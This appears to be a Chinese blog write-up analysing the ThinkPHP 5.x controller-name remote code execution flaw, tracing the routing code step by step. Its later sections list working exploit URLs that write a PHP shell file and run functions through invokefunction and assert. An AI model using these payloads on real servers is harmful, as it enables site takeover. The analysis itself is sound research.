0x00 簡介
2018年12月10日中午,thinkphp官方公眾號發布了一個更新通知,包含了一個5.x系列所有版本存在被getshell的高風險漏洞。
吃完飯回來看到這個公告都傻眼了,整個tp5系列都影響了,還是getshell。
(以下截圖為后截圖,主要是想講一下從無到有,如何分析漏洞,整個過程是怎么樣的。)
0x01 漏洞原理
下午睡醒,趕緊起來分析漏洞。
結合官方公告說的由於對控制器名沒有足夠的檢測,再查看官方git commit信息
拉一個tp下來,用的是tp 5.1.29的版本,windows+phpstudy 一把梭,搭建好環境。
在官方修改的地方加斷點(thinkphp\library\think\route\dispatch\Module.php),加載默認的控制器來分析。
請求:
http://127.0.0.1/index.php/index/index/index
命中斷點。
一步步跟進controller的走向,發現在同文件下的 exec函數,實例化控制器
跟進controller方法,thinkphp\library\think\App.php
使用parseModuleAndClass方法來解析,繼續跟進
分析一下代碼,發現會有一個判斷,當控制器名中包含了反斜杠,就會直接返回,繼續跟蹤。
此處沒有包含,所以會進入下面的判斷,最后使用parseClass來解析,跟如parseClass函數
發現進過parseName之后index變成了首字母大寫,原因是經過了命名風格轉換。
最后會將命名空間等進行拼接
返回我們帶命名空間的完整類名。
跟進,回到了controller方法,此時判斷類是否存在,不存在會觸發自動加載類。
之后就是實例化類,使用反射來調用類的相應方法了。(偷懶省略掉了,主要是介紹一下分析的過程)
大概流程摸清楚了,那么這個漏洞是怎么觸發的呢?
在跟蹤的時候我們發現,類名都是帶有完整的命名空間的,而命名空間恰好就是使用反斜杠來划分,結合那一個判斷代碼:反斜杠是否存在,直接返回類名的操作。
不難想到是可以調用任意類的方法。
比如這樣?
http://127.0.0.1/index.php/index/think\app/index
請求一下,發現報錯了。
what the fuck? 我的反斜杠怎么變成了正斜杠了?而且這個控制器怎么獲取的是Think?
猜測是瀏覽器的原因,用bp發包一樣如此,那么還有沒有其他方法可以獲取到呢?
翻了一下tp的配置文件
發現可以使用s來獲取,那么我們就可以嘗試使用
http://127.0.0.1/index.php?s=/index/think\app/index
成功實例化了App類,因為沒有index 方法所以這里會報錯。
但已經驗證了整個漏洞的原理。
控制器過濾不嚴,結合直接返回類名的代碼操作,導致可以用命名空間的方式來調用任意類的任意方法。
形如:
http://127.0.0.1/index.php?s=/index/namespace\class/method
漏洞點找到了,那么就是找利用點了。
0x02 漏洞利用
tp 5.1.29 簡單找了個寫shell的方法,看到thinkphp\library\think\template\driver\File.php 文件
有一個完美的寫shell方法。
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
執行之后會在根目錄下寫入shell.php ,內容是輸出phpinfo();
那么tp 5.0要怎么利用呢??
接下來就是踩坑之旅了。
0x03 無盡的踩坑
把tp 5.1的payload,拉過去打一發,發現報錯了,控制器不存在??
猜測是5.0和5.1的文件可能不一樣,打開一看,都一樣啊,怎么加載不了。
上斷點,跟蹤。此處省略一萬字。
跟蹤半天發現類加載器有這么一行代碼。位置: thinkphp\library\think\Loader.php 方法 autoload
以及一開始的獲取控制器的時候 會判斷是否自動轉換控制器,將控制器名變成小寫。
而這個url_convert配置項默認是true。
而我們的類文件名是大寫的。
那么在win下,由於嚴格區分大小寫,所以必然不會加載到相應的類文件。
(圖中判斷,由於IS_WIN為True,!IS_WIN必為False,邏輯與,一個為False條件就成立。)
雖然最終由於綁定參數的問題導致該方法依然不可以用(這個問題就不展開分析了)
但是這個win環境的問題確實卡了我很久。
也難怪分析了半天,為啥別人都那么快就找出利用,原來都是linux的環境,可以加載的類多了去了。
最終也導致5.0的自己沒有找到利用的類。
0x04 兼容多平台的payload
綜上,由於Windows的原因,所以有一些payload在windows的主機上是不可以利用的。
那么哪些payload是可以兼容多個平台呢?
由於windows自動加載類加載不到想要的類文件,所以能夠下手的就是在框架加載的時候已經加載的類。
5.1是下面這些:
think\Loader
Composer\Autoload\ComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561
think\Error
think\Container
think\App
think\Env
think\Config
think\Hook
think\Facade
think\facade\Env
env
think\Db
think\Lang
think\Request
think\Log
think\log\driver\File
think\facade\Route
route
think\Route
think\route\Rule
think\route\RuleGroup
think\route\Domain
think\route\RuleItem
think\route\RuleName
think\route\Dispatch
think\route\dispatch\Url
think\route\dispatch\Module
think\Middleware
think\Cookie
think\View
think\view\driver\Think
think\Template
think\template\driver\File
think\Session
think\Debug
think\Cache
think\cache\Driver
think\cache\driver\File
5.0 的有:
think\Route
think\Config
think\Error
think\App
think\Request
think\Hook
think\Env
think\Lang
think\Log
think\Loader
兩個版本公有的是:
think\Route
think\Loader
think\Error
think\App
think\Env
think\Config
think\Hookthink\Lang
think\Request
think\Log
本想找出兩個版本共有的利用類和方法,但由於類文件大多被重寫了,所以沒耐住性子一一去找(菜)
所以,payload為上述類的利用方法,是可以兼容windows和linux多個平台的,兼容多個平台有什么用呢?插件批量可以減少誤判
比如:
5.1.x php版本>5.5
http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert
http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
5.0.x php版本>=5.4
http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
0x05 總結
至此,算是把整個漏洞分析記錄講完了,和p喵嗚聊的時候,他也是被win坑的老慘。
所以珍惜生命,遠離windows xd。
還有就是自己太菜了,給各位大佬遞頭。